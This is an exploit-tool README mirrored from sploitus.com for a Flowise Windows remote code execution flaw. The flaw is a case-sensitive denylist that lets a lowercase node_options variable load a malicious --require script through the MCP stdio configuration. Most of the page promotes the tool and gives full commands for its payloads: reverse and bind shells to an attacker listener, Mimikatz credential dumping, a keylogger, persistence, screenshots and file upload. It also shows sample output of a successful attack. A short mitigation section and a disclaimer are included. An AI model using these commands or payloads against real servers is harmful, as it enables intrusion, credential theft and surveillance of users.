Share
## https://sploitus.com/exploit?id=490EA0E6-23DD-5429-AD06-079A0EAC8823
# Flowise CVE-2026-58057 - Windows Remote Code Execution Exploit



    
  
  
    
  
  
  
  
  
  


## ๐Ÿ“‹ Overview

This is a production-grade exploit for **CVE-2026-58057**, a critical Remote Code Execution vulnerability in Flowise on Windows platforms. The vulnerability arises from case-sensitive environment variable validation that fails to block lowercase `node_options`, allowing attackers to bypass the `NODE_OPTIONS` denylist and execute arbitrary code through Custom MCP stdio configuration.

The exploit demonstrates professional software engineering practices with modular architecture, comprehensive error handling, and support for multiple payload types.

## โš ๏ธ Disclaimer

> **IMPORTANT:** This tool is provided for **authorized security testing**, **penetration testing**, and **educational purposes only**.The author is **not responsible** for any misuse or damage caused by this software.**Always obtain proper authorization** before testing any system.

## ๐Ÿ” Technical Details

### Vulnerability Root Cause

```python
# Vulnerable Validation (Case-Sensitive )
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key in dangerous:  # Only blocks exact uppercase match
    raise ValueError(f"Modification not allowed")
```

### Exploit Mechanism

1. Attacker authenticates to Flowise

1. Creates/Modifies Custom MCP stdio node

1. Injects lowercase `node_options` environment variable

1. Sets value to `--require malicious-loader.js`

1. Node.js executes loader when MCP stdio runs

1. Arbitrary code execution achieved

## โœจ Features

### Core Capabilities

- โœ… **Reverse Shell** - Connect back to attacker machine

- โœ… **Bind Shell** - Open listening port on target

- โœ… **Command Execution** - Run arbitrary system commands

- โœ… **File Upload** - Upload files to target system

- โœ… **Persistence** - Multiple persistence mechanisms

- โœ… **Information Gathering** - Collect system intelligence

- โœ… **Credential Dumping** - Mimikatz integration

- โœ… **Screenshot Capture** - Capture desktop screenshots

- โœ… **Keylogger** - Install keylogging capability

### Technical Features

- ๐Ÿ” **Multiple Authentication Methods** - API key or username/password

- ๐Ÿ”„ **Auto-Retry Logic** - Resilient against network issues

- ๐Ÿงน **Self-Cleaning** - Removes loader files from target

- ๐ŸŒ **Cross-Platform** - Works on Windows/Linux/macOS

- ๐ŸŽจ **Colored Output** - Enhanced readability

- ๐Ÿ“Š **Verbose Debugging** - Detailed logging for troubleshooting

## ๐Ÿ“ฆ Installation

### Prerequisites

- Python 3.6 or higher

- pip (Python package manager)

### Quick Install

```bash
# Clone repository
git clone https://github.com/CerberusMrXi/Flowise-CVE-2026-58057-exploit
cd Flowise-CVE-2026-58057-exploit

# Install dependencies
pip install -r requirements.txt

# Or minimal installation
pip install requests urllib3
```

### Docker Installation (Optional )

```
FROM python:3.9-alpine
RUN apk add --no-cache gcc musl-dev
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY exploit.py .
ENTRYPOINT ["python3", "exploit.py"]
```

## ๐Ÿš€ Usage

### Command Line Options

```bash
python3 exploit.py --help
```

### Authentication Options

| Option | Description | Example |
| --- | --- | --- |
| `-t, --target` | Flowise URL (Required) | `http://localhost:3000` |
| `-k, --api-key` | Flowise API key | `flowise_abc123...` |
| `-u, --username` | Username | `admin` |
| `-p, --password` | Password | `password123` |

### Payload Options

| Option | Description | Example |
| --- | --- | --- |
| `--payload` | Payload type | `reverse_shell` |
| `--lhost` | Listener host | `192.168.1.100` |
| `--lport` | Listener port | `4444` |
| `--command` | Command to execute | `whoami` |
| `--local-file` | File to upload | `payload.exe` |
| `--remote-path` | Remote save path | `C:\\Temp\\update.exe` |

### Execution Options

| Option | Description |
| --- | --- |
| `--interactive` | Start interactive shell |
| `--verbose` | Enable debug output |
| `--timeout` | Request timeout in seconds |
| `--retries` | Number of retry attempts |

## ๐Ÿ“ Usage Examples

### 1. Basic Reverse Shell

```bash
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload reverse_shell \
    --lhost 192.168.1.50 \
    --lport 4444
```

### 2. Interactive Reverse Shell

```bash
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
    --payload reverse_shell \
    --lhost 192.168.1.50 \
    --lport 4444 \
    --interactive
```

### 3. Command Execution

```bash
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload command_exec \
    --command "whoami"
```

### 4. File Upload

```bash
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload file_upload \
    --local-file /path/to/payload.exe \
    --remote-path "C:\\ProgramData\\update.exe"
```

### 5. Credential Dumping (Mimikatz )

```bash
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload mimikatz
```

### 6. Persistence Installation

```bash
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload persistence
```

### 7. Information Gathering

```bash
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
    --payload info_gather
```

### 8. Screenshot Capture

```bash
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload screenshot
```

## ๐ŸŽฏ Payload Types

| Payload | Description | Arguments |
| --- | --- | --- |
| `reverse_shell` | Connect back to listener | `--lhost`, `--lport` |
| `bind_shell` | Open listening port | `--lport` |
| `command_exec` | Execute command | `--command` |
| `file_upload` | Upload file to target | `--local-file`, `--remote-path` |
| `persistence` | Install persistence | None |
| `info_gather` | Collect system info | None |
| `mimikatz` | Dump credentials | None |
| `screenshot` | Capture screenshot | None |
| `keylogger` | Install keylogger | None |

## ๐Ÿ›ก๏ธ Mitigation

### Upgrade Flowise

```bash
# Upgrade to version 3.1.3 or later
npm install -g flowise@latest
# or
docker pull flowiseai/flowise:latest
```

### Workarounds

- Restrict access to Custom MCP configuration

- Implement network segmentation

- Monitor for suspicious environment variables

- Use Web Application Firewall (WAF )

### Fixed Code

```python
# Fixed Validation (Case-Insensitive)
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key.upper() in dangerous:  # Case-insensitive check
    raise ValueError(f"Modification not allowed")
```

## ๐Ÿ“Š Output Examples

### Successful Exploit

```
[14:32:15] โ„น Starting exploit sequence...
[14:32:15] โ„น Attempting authentication...
[14:32:16] โœ“ Authenticated with API key
[14:32:16] โ„น Preparing reverse_shell payload execution...
[14:32:16] โ„น Injecting environment variable...
[14:32:17] โ„น Triggering payload execution...
[14:32:19] โœ“ Payload 'reverse_shell' executed successfully!
[14:32:19] โ„น Reverse shell listener ready on 192.168.1.50:4444
```

### Verbose Mode

```
[14:32:15] ๐Ÿ” Session created with retry strategy
[14:32:15] ๐Ÿ” Using existing workspace: ws_123456
[14:32:16] ๐Ÿ” Loader written: /tmp/loader_1234_1234567890.js
[14:32:16] ๐Ÿ” MCP stdio configuration updated
```

## ๐Ÿ› Troubleshooting

### Common Issues

| Issue | Solution |
| --- | --- |
| SSL Certificate Error | `pip install --trusted-host pypi.org -r requirements.txt` |
| Permission Denied | `pip install --user -r requirements.txt` |
| Connection Refused | Verify target URL and network connectivity |
| Authentication Failed | Check API key or username/password |
| Payload Fails | Use `--verbose` for detailed debugging |
| Python Version | Ensure Python 3.6+ is installed |

### Debug Commands

```bash
# Enable verbose logging
python3 exploit.py -t http://localhost:3000 -k API_KEY --verbose

# Test connectivity
curl -k https://localhost:3000/api/v1/version

# Check Python version
python3 --version
```

## ๐Ÿ“ File Structure

```
flowise-CVE-2026-58057-exploit/
โ”œโ”€โ”€ exploit.py          # Main exploit script
โ”œโ”€โ”€ requirements.txt    # Core dependencies
โ”œโ”€โ”€ README.md          # This documentation
โ”œโ”€โ”€ LICENSE            # MIT License
โ””โ”€โ”€ CHANGELOG.md       # Version history
```

## ๐Ÿค Contributing

1. Fork the repository

1. Create feature branch (`git checkout -b feature/amazing` )

1. Commit changes (`git commit -m 'Add amazing feature'`)

1. Push to branch (`git push origin feature/amazing`)

1. Open Pull Request

## ๐Ÿ“œ License

This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.

## ๐Ÿ† Acknowledgments

- FlowiseAI for the product

- Security researchers who discovered similar vulnerabilities

- Pentesting community for testing methodologies

## ๐Ÿ”— References

- [CVE-2026-58057](https://nvd.nist.gov/vuln/detail/CVE-2026-58057)

- [Flowise GitHub Repository](https://github.com/FlowiseAI/Flowise)

- [Flowise Documentation](https://docs.flowiseai.com/)

- [Node.js Environment Variables Security](https://nodejs.org/en/docs/guides/environment-variables-security/)

## ๐Ÿ“ง Contact

**Author:** Sudeepa Wanigarathna**Security Researcher & Penetration Tester**

## โญ Support

If you find this tool useful, please consider:

- โญ Starring the repository on GitHub

- ๐Ÿ”” Following for updates

- ๐Ÿ“ Reporting issues or suggestions

---

**Made with โค๏ธ for the security community**